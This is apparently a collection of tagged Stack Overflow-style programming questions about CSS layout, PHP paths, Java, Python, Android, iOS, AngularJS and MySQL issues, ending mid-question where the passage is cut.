left pixels are cut off when viewing responsive site on smartphone  i am learning how to make an existing site  responsive and something that appears to be so simple  is making me absolutely crazy.<br> when i apply the max-width-480px style sheet  it is cutting off about 5 px of my left edge.  you can tell it is missing because the rounded corners i added in css are cut off abruptly on the left but are nice and smooth on the right.  i have spent several hours trying to tweak the wrapper and mainwrapper css and nothing seems to fix it.  any ideas      note: that the image for the topwrapper is a set width white background with rounded corners.  since the set sized graphic is not going to be responsive  i have removed it for the smaller screens and just added the border-radius to the mainwrapper div.     note2:  i tried to add an image to show you the issue  but because i am a new poster  i was unable to.  the site is:  www.develdesign.com/waterworks  please be sure to view it on your smartphone to see the issue.  thank you.     <strong>a snippet of the wrapper related divs in html</strong>   <pre><code>    &lt;body&gt;   &lt;div id= wrapper &gt;     &lt;div id= topwrapper &gt;&lt;/div&gt;     &lt;div id= mainwrapper &gt;       &lt;!-- header start --&gt;       &lt;div id= header &gt;         &lt;div class= center &gt;           &lt;!-- logo start --&gt;           &lt;div id= logo &gt;&lt;a href= &lt; e(_www_) &gt;index.php &gt;&lt;img src= images/wworks/wwlogo239px.png  alt= logo  /&gt;&lt;/a&gt;&lt;/div&gt;           &lt;!-- logo end --&gt;            &lt;div id= headerright &gt;             &lt;!-- menu navigation start --&gt;                                  &lt;  require( top-navigation.php );  &gt;              &lt;!-- menu navigation end --&gt;           &lt;/div&gt;&lt;!-- end headerright --&gt;         &lt;/div&gt;&lt;!-- end center --&gt;       &lt;/div&gt;&lt;!-- end header --&gt; </code></pre>   <strong>regular desktop styles (non-responsive css)</strong>   <pre><code>#wrapper {     width: 100%;   max-width: 976px;   height: 100%;   margin-left: auto;   margin-right: auto;   margin-top: 20px;   margin-bottom: 20px; }   #topwrapper {   height: 19px;   width: 100%;   max-width: 976px;   background: url(../images/topwrapper.png) no-repeat; } #mainwrapper {     width:100%;   max-width: 976px;   background: url(../images/mainwrapper.png) repeat-y; } #bottomwrapper {   margin: 0 auto;   height: 55px;   width: 100%;   max-width: 976px;   background: url(../images/bottomwrapper.png) no-repeat; } .center {   margin: 0 auto;   width: 900px; }  /* ----------------------- header -----------------------*/ #header {   width: 960px;   height: 50px;   padding-bottom: 39px;   background: url(../images/bgheader.jpg) bottom center repeat-x;   margin: 0 auto; } #headerright {   padding-top: 20px;   width: 670px;   float: right;     position: relative; } #logo {   margin-top: 15px;   float: left;   width: 220px; } </code></pre>   <strong>responsive for max-width-480px</strong>   <pre><code>#wrapper {     width: 100%;     }  #topwrapper {     display:none;     }  #mainwrapper {    /*white background for all header and maincontent */     border-radius: 5px 5px 25px 25px; }   #bottomwrapper {   display: none;   }   .maincontent {     width: 60%;     float: left; }    &lt;!-- header --&gt; #header {   /*width: 50%;*/   /*height: 50%;*/   /*background-image: none;*/ }  .center {     width: 95%; }  #headerright{  /* includes phone numbers and full site navmenu */     display:none;  }  #logo {     width: 100%; } </code></pre>,css
relative path one level up not working in php  currently i have the following structure    httpdocs - system - templates    inside templates i have the following line   <pre><code>require_once(__dir__. /../system/config.php ); </code></pre>   i get the following error   <pre><code>warning: require_once(/var/www/vhosts/domain/httpdocs/templates/../system/config.php): failed to open stream: no such file or directory in /var/www/vhosts/domain/httpdocs/templates/header.php on line 8  fatal error: require_once(): failed opening required  /var/www/vhosts/domain/httpdocs/templates/../system/config.php  (include_path= .: ) in /var/www/vhosts/domain/httpdocs/templates/header.php on line 8 </code></pre>   as you can see in the path it just adds the two dots (../) as if it is part of the path  while i meant it to go up one level. is there a php setting required to support relative paths or something     i tried all possible variants of the path in- and excluding the <strong>dir</strong> magic constant to no avail. and yes  config.php is present in system.,php
how to get the cardid from contactid orderid or invoiceid from infusionsoft api   actually i need to find the cardid (or last four digits of his card) from an already order done by a user. i have his contact id  orderid product id and invoice. also how to stop recurring payment from an existing order via infusionsoft api,php
how to get values on ashx page submitted from javascript  i have one aspx page from which i am posting form like   <pre><code>            var form = document.createelement( form );             form.setattribute( method    post );             form.setattribute( action    /my.ashx );              var field = document.createelement( input );             field.setattribute( type    hidden );             field.setattribute( name    myval );             field.setattribute( value    1234627373737377 );             form.appendchild(field);              document.body.appendchild(form);             form.submit(); </code></pre>   and i am trying to access myval on my.ashx page by using  var myvalue= context.request[ myval ]; but i am getting null value.,asp.net
c socket program - how can i accept user input while updating reading from stdout   i have written a little irc bot application in c. it just writes out the server messages to the screen. this is just accomplished with a while loop that reads from the server filedescriptor. how can i concurrently accept input  i would like to now extend it to accept user input so that it can be used as a client application. i am new to c development so i am not sure how this is accomplished. can someone provide me with an example or point me in the direction to some documentation      i basically would like to mimic a telnet application. the stdout is updated and the user can provide server commands at the console.    any help/advise would be greatly appreciated.    edit    i am developing in a unix environment.     thanks,c
console.writeline() and the need for so many argument overloads   i was browsing through the documentation and noticed that <code>console.writeline()</code> method had several overloads.  particularly  my curiosity and partial confusion pertains to these:   <pre><code>public static void writeline(string format  params object[] arg); public static void writeline(string format  object arg0); public static void writeline(string format  object arg0  object arg1); public static void writeline(string format  object arg0  object arg1  object arg2); public static void writeline(string format  object arg0  object arg1  object arg2  object arg3); </code></pre>   it seems redundant. what is the need of the other four overloads on top of the first one   the first method is able to do everything that the other methods can do.  is there a performance concern that they were trying to tackle by providing additional overloads  which handle up to four arguments (last one)   is the overhead of going through an array of up to four arguments large enough to provide the need for these overloads,c#
verifying an object exists objective-c  to verify if an object exists is this enough    <pre><code>if (object) ... </code></pre>   or do i have to do the following:   <pre><code>if (object != null) ... </code></pre>   thanks!,objective-c
several timing functions for the same animation  can i put several timing functions for the same animation..     <pre><code>div{   width:100px;   height:100px;   background:red;   position:relative;   animation:mymove 3s;   animation-iteration-count:2;   animation-timing-function: ease;}    @keyframes mymove{  0% {top:0px;}   25% {top:100px;}   100% {top:200px;}}     </code></pre>   i want it to <em>ease</em> from 0% to 25% and <em>ease-out</em> from 25% to 100%,css
get more than one value and display it  i am checking  n  number of servers every minute  if any servers are down a mail is triggered to an user with the server name that is down. the issue i am facing is that if more than one server is down i am getting only one server name that is down. how to get the name of all servers that are down.   <pre><code>   obj = dataaccess.getservers();  //getting the status and links of all servers    mailserver sender = new mailserver(from password);               list&lt;string&gt; downserver = new arraylist();    for (map&lt;string  string&gt; objs : obj) { //iterating for each server                 serverstatus = objs.get( status );                 if (serverstatus.equals( down )) {                     servername = objs.get( name );                     statusserver=objs.get( status );                 }    downserver.add(servername);   if(!(servername.equals(null))){         sender.sendmail( server status  downserver.get(i) from to)    } </code></pre>,java
what does bindtocontroller do in angularjs 1.4  what does <code>bindtocontroller</code> do in angularjs 1.4     does it change the behaviour so that the controller is looked at for functions rather than the scope,angularjs
having the html of a webpage  how to obtain the visible words of that webpage   having the html of a webpage  what would be the easiest strategy to get the text that s visible on the correspondent page  i have thought of getting everything that s between the <code>&lt;a&gt;..&lt;/a&gt;</code> and <code>&lt;p&gt;...&lt;/p&gt;</code> but that is not working that well.    keep in mind as that this is for a school project  i am not allowed to use any kind of external library (the idea is to have to do the parsing myself). also  this will be implemented as the html of the page is downloaded  that is  i can t assume i already have the whole html page downloaded. it has to be showing up the extracted visible words as the html is being downloaded.    also  it doesn t have to work for all the cases  just to be satisfatory most of the times.,html
my python items aren t adding to the list  len isn t changing after recalling  alright  i m making a game of sorts... i ve done it with append as well -_-     when i call back and add the next item(i.e. #2 after doing #1) i get just that item in the print out...    such as this:     <pre class= lang-none prettyprint-override ><code>&gt;  1 you put your hatchet into the bag press enter to add more items [ hatchet ] &gt;   &gt;  2 you put your toothbrush into the bag press enter to add more items [ toothbrush ] </code></pre>   i d like for the bag to get more items in it and once the bag reaches three items it takes me to the next  level .  i can t seem to add the items to the bag and keep them in the bag and then monitor the growing len(bag).  if i call back the len(bag) it s always stuck back on 1.  is this because of the  return  function i m using  or is it something else  i figure i can try coding so that it goes into a new list with new bag after entering one item(seems like a ton of excessive code  but would work).  i m also pretty confident there is tons of excessive code in this script  i m extremely new to python and am doing an assignment/exercise from a book.  i appreciate the help in advance!!   <pre><code>def beginning():     print  hello   def func():     firstitem=raw_input( &gt;   )     bag=[]     limit=len(bag)     a= hatchet      b= toothbrush      c= map       if firstitem== 1 :         bag.insert(1   hatchet )         print  you put your %s into the bag  % a         print  press enter to add more items          print bag         limit=len(bag)         if limit == int(3):             beginning()         item=raw_input( &gt;   )         return func()     if firstitem== 2 :         bag.insert(2   toothbrush )         print  you put your %s into the bag  % b         print  press enter to add more items          print bag         limit=len(bag)         if limit == int(3):             beginning()         item=raw_input( &gt;   )         return func()     if firstitem== 3 :         bag.insert(3   map )         print  you put your %s into the bag  % c         print  press enter to add more items          print bag         limit=len(bag)      if limit == int(3):             beginning()         item=raw_input( &gt;   )         return func() </code></pre>   ok so if i make the new func. is that under the existing one  or complete new,python
bower.json error econflict unable to find suitable version for angular  i have the following dependencies in my bower.json file:   <pre><code>{  name :  aposoft-frontend    dependencies : {  angular-bootstrap :  0.13.0    jquery :  ~2.1.4    bootstrap :  ~3.3.5    angular-ui-router :  ~0.2.15    angular-i18n :  ~1.4.2    angular-local-storage :  ~0.2.2    angular-http-auth :  ~1.2.2    angular-bootstrap-show-errors :  ~2.3.0    angular-xeditable :  ~0.1.9    pace :  ~1.0.2    angular-mocks :  ~1.4.3    angular-ui-validate :  ~1.1.1    angular-translate-loader-static-files :  ~2.7.2    quick-ng-repeat :  ~0.0.1    angular-holderjs :  ~1.1.0    holderjs :  ~2.8.2    angular-bootstrap-datetimepicker :  latest  }   devdependencies : {} } </code></pre>   without <strong> angular-bootstrap-datetimepicker :  latest </strong> it works fine but with the dependency <strong> angular-bootstrap-datetimepicker :  latest </strong> i get following error if i will build my frontend:    <pre><code>**[error] bower econflict unable to find suitable version for angular** </code></pre>   does anyone know how i could solve this issue  thanks a lot!,angularjs
a python file can be opened in cmd but can t be opened in powershell  <a href= https://i.stack.imgur.com/lahl2.jpg  rel= nofollow noreferrer >enter image description here</a>i have created a python file  it can be opened in cmd but it can t be opened in powershell  computer is win10 system  could you please help me to know how to solve this problem  thank you very much.,python
java -version and javac -version showing different versions  i have <code>java 7</code> and <code>java 8</code> both installed on my windows system under <code>c:\program files\java</code>    in the environment s path i specified the path of <code>java 7</code> like this.    <code>%java_home%/bin</code> where <code>java_home = c:\program files\java\jdk1.7.0_17</code>    but when i type <code>javac -version</code> it shows <code>javac 1.7.0_17</code> which makes sense     but when i do  <code>java -version</code> it shows    <pre><code>java version  1.8.0  java(tm) se runtime environment (build 1.8.0-b132) java hotspot(tm) 64-bit server vm (build 25.0-b70  mixed mode) </code></pre>   <img src= https://i.stack.imgur.com/jbtfl.jpg  alt= enter image description here >    <strong>any idea what may be the problem here </strong>    <strong>edit</strong> the installed folder : <img src= https://i.stack.imgur.com/xavdg.jpg  alt= enter image description here >    <strong>and one more thing <code>echo %path%</code> has only one occurence of <code>jdk</code> that is for <code>java 7</code> and no occurence for <code>jre</code> found in it.</strong>,java
correct usage of urllib2 open() in a loop  i have a loop which aims at making url requests and reading the results. when the requests are  simple   the code works fine. however  when a request requires more time from the server  then my program hangs forever. it seems that it tries to process all the requests simultaneously  though i don t understand why. i ve tried studying documentation for <code>opener.open(url).read()</code> but have not succeeded in finding the answer to my question. i will appreciate your help.    here is my code for python 2.7:   <pre><code>username =  the_username  password =  the_password  corpus_name =  the_corpusname  root_url =  root_url  base_url =  %s/bonito/run.cgi/  % root_url method =  view  attrs = dict(corpname=corp  q=    pagesize=1  format= json  async=0)  # authentication cj = cookielib.cookiejar() opener = urllib2.build_opener(urllib2.httpcookieprocessor(cj)) login_data = urllib.urlencode({  username  : username                                   password  : password                                   submit  :  ok                                 }) data = opener.open( %s/login/  % root_url) data = opener.open( %s/login/  % root_url  login_data)  pattern = r [\n\r]  pattern_re = re.compile(pattern)  with open( input.txt    r ) as f_in  open( output.txt    a ) as f_out:      for line in f_in:         line = pattern_re.sub(   line) # removing \n or \r at the end         query =  [lemma_lc=\   + line +  \ &amp;pos=\ n\ ]          attrs[ q ] =  q  + query         encoded_attrs = urllib.quote(simplejson.jsonencoder().encode(attrs))         url = base_url + method +   json=%s  % encoded_attrs         file1 = opener.open(url)         data = file1.read()         file1.close()         json_obj = simplejson.loads(data)         f_out.write(line +  \t  + str(json_obj.get( concsize    0 )) +  \n )         time.sleep(4) </code></pre>,python
jump to view controller after login using facebook sdk <pre><code>- (void)viewdidload {       delegate = (appdelegate*)[[uiapplication sharedapplication]delegate];      birthdaylist=[[birthdaylist alloc]initwithnibname:@ birthdaylist  bundle:nil];      spinner=[[uiactivityindicatorview alloc]initwithactivityindicatorstyle:uiactivityindicatorviewstylegray];     spinner.alpha=1.0;     spinner.center=cgpointmake(130  150);     [spinner sethidden:yes];       uibutton *pickfriendsbutton=[[uibutton alloc]init];     [pickfriendsbutton setframe:(cgrectmake(100  200  150  33))];     [pickfriendsbutton setbackgroundimage:[uiimage imagenamed:@ share_bg.png ] forstate:uicontrolstatenormal];     [pickfriendsbutton settitle:@ pick friends  forstate:uicontrolstatenormal];     [pickfriendsbutton settitlecolor:[uicolor whitecolor] forstate:uicontrolstatenormal];     [pickfriendsbutton.titlelabel setfont:[uifont fontwithname:@ politica  size:15]];     [pickfriendsbutton addtarget:self action:@selector(pickfriends:) forcontrolevents:uicontroleventtouchupinside];     [self.view addsubview:pickfriendsbutton];       [super viewdidload];          fbloginview *loginview = [[fbloginview alloc] init];       loginview.frame = cgrectoffset(loginview.frame  5  5);     loginview.delegate = self;      [self.view addsubview:loginview];      [loginview sizetofit];       nsarray *permissions = [[nsarray alloc] initwithobjects:                             @ user_birthday  @ friends_hometown                               @ friends_birthday  @ friends_location  @ basic_info                               @ user_location                               @ user_birthday                               @ user_likes                               nil];       loginview.readpermissions = permissions;      }  - (void)loginviewshowingloggedinuser:(fbloginview *)loginview  {     // first get the buttons set for login mode          nslog(@ success );       if (fbsession.activesession.isopen)     {          nslog(@ token : %@  [[fbsession activesession]accesstokendata]);           fbrequest *friendrequest = [fbrequest requestforgraphpath:@ me/friends fields=name picture birthday location ];          [friendrequest startwithcompletionhandler:^(fbrequestconnection *connection  id result  nserror *error)         {             nsarray *data = [result objectforkey:@ data ];             for (fbgraphobject&lt;fbgraphuser&gt; *friend in data)             {                 // nslog(@ %@  friend);                 [delegate.friendslistarray addobject:friend];                 nslog(@ %@:%@:%@   [friend name] [friend birthday] [friend id]);             }         }];     }      if ([delegate.friendslistarray count]!=0)      {          nsuserdefaults * standarddefaults=[nsuserdefaults standarduserdefaults];         [[nsuserdefaults standarduserdefaults] synchronize];          [standarddefaults setobject:delegate.friendslistarray forkey:@ friendslistarray ];         [standarddefaults setbool:yes forkey:@ logged_in ];         [standarddefaults synchronize];          nslog(@ %@  [standarddefaults objectforkey:@ friendslistarray ]);          [self.navigationcontroller pushviewcontroller:birthdaylist animated:yes];      }  } </code></pre>   its cannot go to view controller.i don t know.what is a problem any have idea please help me.thanks to advance for your help.,ios
why is android doing things behind my back   or  in other words: what is the context s lifetime in android     i m asking this because i get a <strong>nullpointerexception</strong> when trying to access the context in the following code:   <pre><code>public class myclass implements serializable {     private transient context _context;      public myclass() {         _context = app.context();         log.d( is null:   + (_context == null)); // shows false     }      // other code (that doesn t touch context in any way)      public void mymethod() {         log.d( is null:   + (_context == null)); // shows true!!!         // why !  for the love of god  why !          // it was already initialized in the constructor!!!          log.d( is null:   + (app.context() == null)); // shows false         toast.maketext(_context   test   toast.length_short).show();         //                 ^ throws nullpointerexception for _context     } } </code></pre>   here is the code for the <code>app</code> class:   <pre><code>public class app extends application {     private static context $context;      @override     public void oncreate() {         app.$context = this;     }      public static context context() {         return $context;     } } </code></pre>   why is android doing things <strong>behind my back</strong>    when i set a value to a variable i want it to stay <strong>the same</strong> until i <strong>explicitly</strong> modify it.   <hr>  <h2>edit</h2>   here is the code that calls <code>myclass</code>:   <pre><code>myclass mc = new myclass(); intent intent = new intent(app.context()  myactivity.class); intent.putextra( mc   mc); startactivity(intent); </code></pre>   then in <code>myactivity</code>:   <pre><code>protected void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         setcontentview(r.layout.mylayout);          bundle bundle = getintent().getextras();         myclass mc = (myclass) bundle.get( mc );         mc.mymethod(); // here it crashes  see previous code (before editing). } </code></pre>,android
error when trim each string in an array  if i trim each string in an array     <code> [  a      b   c   ].map(i=&gt;i.trim()) </code>    it works.    but <code>[  a      b   c   ].map(  .trim.call)</code> will cause <code>uncaught typeerror: undefined is not a function</code>.    i thought it should work...,javascript
access private variable from another class   i don t know what s wrong with my code. i want to display the value of b (10) in my <code>info()</code> method  but when i run this code  the value of b is 0. why does this happen    <pre><code>class alpha {     public int a = 5;     public void info() {         system.out.println( a =   + a);         beta3 betaku;         betaku = new beta3();         system.out.println( b =   + betaku.perolehb());         system.out.println( dipanggil pada   + this.getclass().getname());         system.out.println( ---------- );     } } </code></pre>   here s the main class:   <pre><code>class beta3 extends alpha {  private int b; public  void isib(int b){     this.b=b;     } public int perolehb(){     return b;     }  public static void main(string[] args) {  beta3 varobjbeta; varobjbeta = new beta3(); varobjbeta.isib(10);  varobjbeta.info();   alpha varobjalpha;  varobjalpha = new alpha();  varobjalpha.info();  }  }  </code></pre>,java
synth look and feel not doing anything   i am trying to implement the synth look and feel and it is not doing anything to the look of the actual software. my file path is correct as i have checked that. does anybody know why this is not working:    java:   <pre><code>try {     synthlookandfeel laf = new synthlookandfeel();     laf.load(new fileinputstream( src/look_and_feel.xml )  truss.class);     uimanager.setlookandfeel(laf); } catch (exception e) {              e.printstacktrace(); } </code></pre>   xml:   <pre><code>&lt;synth&gt;     &lt;style id= default &gt;         &lt;font name= courier  size= 14  /&gt;     &lt;/style&gt;     &lt;bind style= default  type= region  key= button  /&gt; &lt;/synth&gt;  </code></pre>   thanks in advance.,java
difference between k and m in mysql variables  what means 6 k or 6 m in value of mysql variables      ex :     i have qcache_queries_in_cache = 6 k ; = 6000     but 6 m =   or 6 g      thanks,mysql
how to specify images for 4inch ios devices  how to full screen specify <code>images</code> for <code>4-inch</code> <code>ios devices</code>. the <code>568@2x</code> will only work for <code>default image</code> any approaches will be use full. please share some code snippet.,ios
array passing between classes  gone   hey guys . i have two classes  selectionscreentable &amp; graphview.    in the selectionscreentable class .h  i declared a nsmutablearray called usagedatas   <pre><code>    nsmutablearray *usagedatas;  } @property (nonatomic  retain) nsmutablearray *usagedatas; </code></pre>   in the selectionscreentable class.m i remembered to @synthesize. later on  while processing my methods  i did a    <pre><code>nslog(@ usagedatas count:%i  usagedatas.count); </code></pre>   to check whether it has value and it returned 1. so yeah its good up to this point.    and in the -(void) dealloc   i remembered to released it .    <pre><code>[usagedatas release]; </code></pre>   so now comes me trying to use it in another class.    in graphview.m i imported the  selectionscreentable.h .  in the -(void)viewdidload i did   <pre><code>selectionscreentable *ud = [selectionscreentable alloc];   nslog(@ graphview ud.usagedataas.count =  :%i  ud.usagedatas.count); </code></pre>   it returned 0.     any idea guys,iphone
difference between padding and margin  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/2823848/whats-the-difference-between-padding-and-margin >what&#39;s the difference between padding and margin </a>    </blockquote>     well  what s the difference  i haven t really understand it...,css
how to call a page method in the dynamically addedded usercontrol   i am adding a user control dynamically on a page  the user control has a save button that takes data from both user control and page to save in the db  in the same save method i want to access a method wrriten in the page  so i that mehod had code to rebind the grid kept in the page.    so how can i call a page method in the dynamically added user control,asp.net
sending in-app email  i need to send an email without exiting the application as the subject and body are already set by the application. i already know how to send an email but i need to exit the application to the email application and click on send to go back to my application. can t i just send the email without exiting or at least without needing to click on send button  can t there be some sort of a framework that auto-sends the email     kind regards   heba,iphone
process for creating .exe file for windows service developed in .net  i create windowservice application to submit prospects to clients based on ther inputs  but i am not able install this application on windows7 os for my testing purpose. application is developed using vs2008 and i migrated it vs2010 using conversion tool.    note: it is having classlibrary  in which business logic is implementd.    can any one help me out in create setup file to install this service into on windows7 os.    regards    harish kakani.,.net
how to translate this sql query to core data predicate  please help me to convert this sql statement into predicate   <pre><code>select path  from store where index=cnt </code></pre>,ios
what is the difference between i+=i*i and i=+i*i in java   what is the difference between    <pre><code>i+=i*i </code></pre>   and    <pre><code>i=+i*i  </code></pre>   in java     can any one tell me what it the concept behind it. how internally it works  i am getting different output of any value.,java
title tag is not working: displaying as paragraph text on live website  this is the first time this has happened to me  and i have been programming websites for about a year now. my text that is in my title tag is literally showing up on my website live.. (i can click on it and highlight it  etc...)    here is my markup:   <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt; &lt;meta charset= utf-8  &lt;title&gt;smokey s ski and snowboarding :: ski and snowboarding shop :: whistler vancouver&lt;/title&gt; &lt;meta name= description  content= the ski bums of canada s great whistler region. &gt; &lt;link href= css/reset.css  rel= stylesheet  type= text/css &gt; &lt;link href= css/main.css  rel= stylesheet  type= text/css &gt; &lt;script type= text/javascript  src= js/modernizr.js &gt;&lt;/script&gt; &lt;/head&gt;  &lt;body&gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>   i seriously see nothing wrong with my markup  should i just make a new document,html
working with python dictionary  how can i store multiple keys and values in school dictionary   i was trying to store a list of keys and values in a dictionary with a for loop but i did t know how to go about it.  can any one help me out,python
how to get rank in mysql for below dataset   based on below data set  how to get rank in next column    <pre><code>  create table testrank(column_val varchar(10)  rank_val integer);    insert into testrank(column_val)   values   ( oh3 )    ( oh3 )    ( ih3 )    ( oh1 )    ( oh1 )    ( ih1 )    ( ih1 )    ( ih3 )    ( ih3 )    ( oh3 )    ( oh3 )    ( oh3 )    ( oh3 );    expected result   column    rank    oh3       3    oh3       3    ih3       3    oh1       2    oh1       2    ih1       2    ih1       2    ih3       1    ih3       1    oh3       1    oh3       1    oh3       1    oh3       1 </code></pre>   i can see the data pattern is little different. in this case order of data should not change.,mysql
functions in objective-c  i am trying to write a function which returns a string created from two input strings;    but when i try the function declaration   <pre><code>   nsstring do_something(nsstring str1  nsstring str2)    {     } </code></pre>   the compiler gets sick.  (worked fine for a different function with int arguments.)    if i change the input arguments to pointers to strings  in also gets sick.    so how do i pass objective-c objects into a function,objective-c
how to retrieve facebook details into android app  i integrated my android app to facebook to get name of user in to my app ...following code i used ....i checked by debugging by adding break points...it is entering the getuserdetails() method but i am not getting the user details.. what i have to do please help me...i am working on android from last 15 days...help me to learn   <pre><code>private void onsessionstatechange(session session  sessionstate state    exception exception) {    if (state.isopened()) {       log.i(tag   logged in... );       getuserdetails(session);   } else if (state.isclosed()) {       log.i(tag   logged out... );   }   }   private void getuserdetails(final session session) {     request request = request.newmerequest(session               new request.graphusercallback() {                  public void oncompleted(graphuser user  response response) {                     if (session == session.getactivesession()) {                         if (user != null) {                             string id = user.getid();                             string firstname = user.getfirstname();                             string lastname = user.getlastname();                             string username = user.getname();                          /*   toast.maketext(                                     getactivity()                                       name :   + name +   id  :   + id                                             +   first name :   + firstname                                             +   last name :   + lastname                                      toast.length_long).show();*/                                parseobject testobject = new parseobject( testobject );                             testobject.put( name  username);                             testobject.saveinbackground();                           }                      }                      if (response.geterror() != null) {                         log.e( error   response.geterror()                                 .geterrormessage());                     }                 }             });     request.executeasync();  } </code></pre>,android
find a point coordinate which is perpendicular and at a specific distance from line endpoint  i am developing a java application in which i have a line with coordinates (x1 y1) and (x2 y2). now i need to find a point (x3 y3) that is at a specific distance  z  from point (x2 y2) and is perpendicular to point (x2 y2). i need to find the coordinates of point (x3 y3). all i have is values of the end coordinates of line (x1 y1)   (x2 y2) and distance  z . please give me the formula to find the solution to this problem.,java
mysql query results in a specific way  i have two tables  <code>my_table1</code> and <code>my_table2</code>.    <code>my_table1</code> contains numbers from 1 to 10 and <code>my_table2</code> contains letters a  b  c and d.    i want to do a query which returns the following:   <pre><code>1 a 1 b 1 c 1 d 2 a 2 b 2 c 2 d </code></pre>   all the way until the end.    is there any possible way to do this in sql     thanks in advance.,mysql
border-top with linear gradient   i want that i have only top border but with gradient color. something like this    <pre><code>#grad1 {     height: 200px;      border-top:205px red; /* for browsers that do not support gradients */     border-top:205px -webkit-linear-gradient(red  yellow); /* for safari 5.1 to 6.0 */      border-top:205px -o-linear-gradient(red  yellow); /* for opera 11.1 to 12.0 */      border-top:205px -moz-linear-gradient(red  yellow); /* for firefox 3.6 to 15 */      border-top:205px linear-gradient(red  yellow); /* standard syntax (must be last) */ } </code></pre>   is this possible and if it is how i can do this,css
wrap element with div  <strong>jquery-3.2.1.min.js</strong>    i clone an element and would like the cloned element be wrapped in  tag.   <pre><code>function add_and_keeper(){   let $and_keepers = $( #and_keepers ); // $and_keepers = [td#and_keepers]   let $keeper_choice_clone = $person_choice.clone() // $keeper_choice_clone = [select#id_person_choice  prevobject: r.fn.init(1)]   let $wrapped = $keeper_choice_clone.wrap( &lt;div&gt; ); // $wrapped = [select#id_person_choice  prevobject: r.fn.init(1)]   let $new_elem = $and_keepers.append($wrapped).children( select:last-child ); }   </code></pre>   well  added is:   <pre><code>&lt;select name= person_choice  id= id_person_choice &gt;   &lt;option value=   selected=  &gt;---------&lt;/option&gt;    &lt;option value= 1 &gt;1: smith &lt;/option&gt;    &lt;option value= 2 &gt;2: johnson &lt;/option&gt;  &lt;/select&gt; </code></pre>   as we can see  it is not wrapped with div.    desired is:   <pre><code>&lt;div&gt;&lt;select name= person_choice  id= id_person_choice &gt;   &lt;option value=   selected=  &gt;---------&lt;/option&gt;    &lt;option value= 1 &gt;1: smith &lt;/option&gt;    &lt;option value= 2 &gt;2: johnson &lt;/option&gt;  &lt;/select&gt;&lt;/div&gt; </code></pre>   could you help me understand where the error is.,jquery
i m new to php and i created a for loop and would like to know if anyone knows how to re-write it to a while loop   this is the code i have. it currently works as is  however i m experimenting with loops and want to see it can be done with a while loop and how it would be done. with this code i can take 2 input numbers and display them  then point out all odds  add all evens  and add all the squares of the odds.   <pre><code>define ( b   &lt;br/&gt; );  $firstnum = $_post[ firstnum ]; $secondnum = $_post[ secondnum ];  if ($firstnum &lt; $secondnum) {     $firstnum = true; }     elseif ($firstnum &gt;= $secondnum)     {         $firstnum =  you didn t listen  dumb dumb! . &lt;br/&gt;&lt;a href= assignment5form.php &gt;go back&lt;/a&gt; ;     }  echo  first number:  .$firstnum. &lt;br/&gt; . second number:  .$secondnum;  echo b; echo b;  $numbers = array(); $numbers = range($firstnum  $secondnum); $length = count($numbers); $odds = array(); $sumsqodds = 0; $sumeven = 0; $j = 0;   for ($x = 0; $x &lt; $length; $x++)     {         if (($numbers[$x] % 2) == 1)         {             $odds[$j] = $numbers[$x];             $sumsqodds = $sumsqodds + pow ($numbers[$x]  2);             $j++;         }         else          {             $sumeven = $sumeven + $numbers[$x];         }     }  $x = 0; $y = 0;  printf( the odd numbers between your integers are:  );  for ($x = 0; $x &lt; $j; $x++)     {         echo $odds[$x];         echo  &amp;nbsp; ;         $y++;         if (($y % 10) == 0)         {             echo b;         }     }  echo b; echo b;  printf( the sum of all even numbers between your integers is:  .$sumeven);  echo b; echo b;  printf( the sum of the square of the odd numbers between your integers is:  .$sumsqodds); </code></pre>   here is my while loop but it seems to be infinite...   <pre><code>$numw = array (); $numw = range ($firstnum  $secondnum); $lengthw = count ($numw); $oddsw = array (); $sumsqoddsw = 0; $sumevenw = 0; $j = 0; $x = 0;  while ($x &lt; $lengthw) {     if (($numw[$x] % 2) == 1)     {         $oddsw[$j] = $numw[$x];         $sumsqoddsw = $sumsqoddsw + pow ($numw[$x]  2);         $x++;         $j++;     }     else     {         $sumevenw = $sumevenw + $numw[$x];     } }  $x = 0; $y = 0;  printf ( the odd numbers between your integers are:  );  while ($x &lt; $j) {     $x++;     echo $oddsw[$x];     echo  nbsp; ;     $y++;     if (($y % 10) == 0)     {         echo b;     } } </code></pre>,php
page display after hitting back button  i m quite new to angular and i m experiencing this apparently common issue for the first time. i ve read around all the topic explaining it but there seems to be many different solutions / hacks and i would like to know what is good practice on the matter.    i have a simple   multi page app. each page of the app got it s own path.but whenever i hit the back button the path change but ng-view become blank. there is hardly any parameter in my url they are mostly simple pages and a couple of /show page  content/:id . when i navigate to their own path individually they work but if i hit the back button   the path change in the browser and ng-view => blank.    there seems to be 2-3 ways of doing that that i found     either to store the path of the previous page every time the path is changed and creating a back button that would call a function that would change path to the previous url   which seems awful or reloading the whole page completely on path change when back button is hit which seems bad but not out of the question since it would be only when pressing back or to really be able to use the back button with the content already loaded inside my browser without having to recall the server which seems to be ideal but maybe there is a better way.    could you explain me a way of doing that  the way to should be done   i don t really want to end up having a  back  link in my app.    i know you guys like code but i don t think there is a need here. feel free to ask if you need it.    some code :   <pre><code>    angular.module( testtool  [ ngroute   ng-rails-csrf   ui.bootstrap   nganimate ])     .config(function($routeprovider){       $routeprovider.when( /openquestions   {         templateurl:  /qa-index.html           controller: qacontroller         })       .when( /openquestions/:id   {         templateurl:  /qa-show.html           controller: qashowcontroller         })       .otherwise({ redirectto:  /  });     }); </code></pre>   -   <pre><code>  angular.module( testtool )   .controller( qashowcontroller  [ $scope    $http   $location   $routeparams   function($scope $http $location $routeparams) {    $http.get( /qaquestions/  + $routeparams.id +  .json ).       then(function(response) {         $scope.test =   ok           $scope.qdata = response.data;         // this callback will be called asynchronously         // when the response is available       }  function(response) {         // called asynchronously if an error occurs         // or server returns response with an error status.           $scope.test =   error      });   }]); </code></pre>   -   <pre><code>    angular.module( testtool )     .controller( qacontroller  [ $scope    $http   $location   function($scope $http $location) {     ////////////////////////////////////////////       $http.get( /qaquestions.json ).         then(function(response) {           $scope.test =   ok             $scope.list = response.data;           // this callback will be called asynchronously           // when the response is available         }  function(response) {           // called asynchronously if an error occurs           // or server returns response with an error status.             $scope.test =   error        });       //todo $scope.vote = function(id){};     /////////////// show       $scope.openquestion = function(id){         var url =  /openquestions/ + id         $location.path(url)         $scope.$apply();         };     }]); </code></pre>   my view are useless i 